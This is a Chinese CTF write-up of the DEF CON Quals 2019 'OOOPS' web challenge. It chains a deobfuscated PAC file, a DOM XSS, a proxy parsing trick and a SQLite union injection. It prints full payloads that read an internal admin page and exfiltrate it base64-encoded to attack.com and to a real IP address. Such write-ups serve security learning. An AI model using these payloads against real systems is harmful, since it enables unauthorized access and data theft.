前言

本文同步发布于安全客,链接为 https://www.anquanke.com/post/id/179084

这次defcon quals的web又是大坑,花了最长时间的shellql最后是个pwn,拿flag全靠show full processlist

wasm标着web&pwn,结果逆向出flag

唯有一道OOOPS算是比较纯正的,而且挺有意思的web题

信息收集

最开始题目只给了一个pac文件,内容是一段混淆过的js代码。

1
2
3
4
5
6
7
8
9
10
eval((function () {
var s = Array.prototype.slice.call(arguments),
G = s.shift();
return s.reverse().map(function (f, i) {
return String.fromCharCode(f - G - 19 - i)
}).join('')
})(29, 202, 274, 265, 261, 254, 265, 251, 267, 227, 179, 247, 249, 260, 175, 244, 252, 172, 253, 239, 237, 250, 214, 166, 248, 237, 163, 245, 244, 229, 226, 225, 222, 156, 233, 219, 220, 152, 234, 219, 218, 237, 226, 222, 225, 221, 212, 142, 228, 219, 215, 208, 219, 205, 221, 213, 133, 221, 207, 208, 208, 128, 196, 198, 177, 124, 133, 137, 121, 120, 97, 209, 117, 125, 199, 197, 192, 184, 111, 122, 185, 190, 192, 114, 183, 183, 176, 186, 168, 178, 184, 168, 97, 125, 95, 138, 143, 145, 173, 169, 127, 177, 175, 165, 167, 132, 151, 160, 154, 118) + (16).toString(36).toLowerCase().split('').map(function (c) {
return String.fromCharCode(c.charCodeAt() + (-71))
......
省略

直接console.log包裹就可以输出内容

1
2
3
4
FindProxyForURL = function(url, host) {
/* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */
if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080';
}

前台xss

直接http代理登录,访问ooops.quals2019.oooverflow.io后返回响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<script src="main.js"></script>
<meta charset="utf-8" />
</head>

<body>
<div class="container">
<h1>Page Blocked</h1>
<img id=logo src="ooo.png"> <br/>
<div id="blocked"></div>
<a href="review.html">Request site review</a>
</div>
</div>
</body>
</html>

main.js的内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function split_url(u) {
u = decodeURIComponent(u); // Stringify
output = u[0];
for (i=1;i<u.length;i++) {
output += u[i]
if (i%55==0) output+= "<br/>";
}
console.log(output)
return output
}
window.onload = function () {
d = document.getElementById("blocked");
d.innerHTML=(split_url(document.location) + " is blocked")
}

这里可以很轻易的发现main.js在decode document.location后修改了innerHTML,导致了XSS的产生

代理解析问题

客户端是通过http代理访问ooops.quals2019.oooverflow.io,经过测试,发现只要url的domain或者path部分出现了oooverflow.io,就会直接访问上述的响应内容,而不会真正去请求这个url

比如

1
http://foo.com/oooverflow.io/?a=xxxx

这样的请求也会返回上述响应的内容

后台bot

上述响应中还存在review.html,会让bot请求你输入的链接

让bot访问你的vps,发现UA为

1
Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1

且referer为

1
http://10.0.9.6:5000/admin/view/39

访问这个页面出现需要内网用户访问的提示

后台XSS

第一部分中,我们拥有了一个前台的js代码执行,但是在前台的域下,没有可用的信息。根据后台bot的信息,我们的目标应该是获取到后台 /admin/view/39 的内容或者是后台的cookie

但是前后台跨域,因此需要先解决跨域的问题

前后台解析不一致

首先,链接是由bot请求的,同时,bot请求也会经过代理。

借助第一部分中代理只要包含oooverflow.io就会返回固定响应内容的特点,我们可以构造这样的请求

1
http://10.0.9.6:5000/oooverflow.io/

对于这个请求,bot首先发送给代理,代理会将固定的响应返回给bot,这时bot面对的是一个存在xss漏洞的页面,通过插入标签即可执行js代码,而这个时候,bot面对的域仍是10.0.9.6:5000,解决跨域的问题。

这种思路和RPO很类似

任意执行js

根据第一部分的响应,在对document.location进行处理的时候,每55个字符会加上一个

1
<br/>

绕过也很简单,通过执行下面代码的思路即可

1
eval(location.hash.slice(1))

因此payload的总体结构即为

1
http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://attack.com?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/1");oReq.send();

后台sql注入

执行上述payload以后,响应的页面大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!doctype html>
<html>
<head>
<title>OOOPS &mdash; Evaluate Requests</title>
<link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head>
<body>
<div class="container">
<div class="row">
<!-- Query: select rowid,* from requests where rowid=1 -->
<p>
Request #1 from b&#39;10.255.0.2&#39;.
Automatically evaluated
</p>
<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="xxxxxx">
Visit xxxxx
</a>
</div>
</div>
</body>
</html>

发现执行了sql语句,最基本最简单的id直接注入,唯一要注意的就是后台的数据库是sqlite而不是mysql

最后flag在flag表中

最终payload如下

1
http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://118.89.245.122?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/-1 union select (select flag from flag),2,3,4,5");oReq.send();

声明

本文经安全客授权发布,转载请联系安全客平台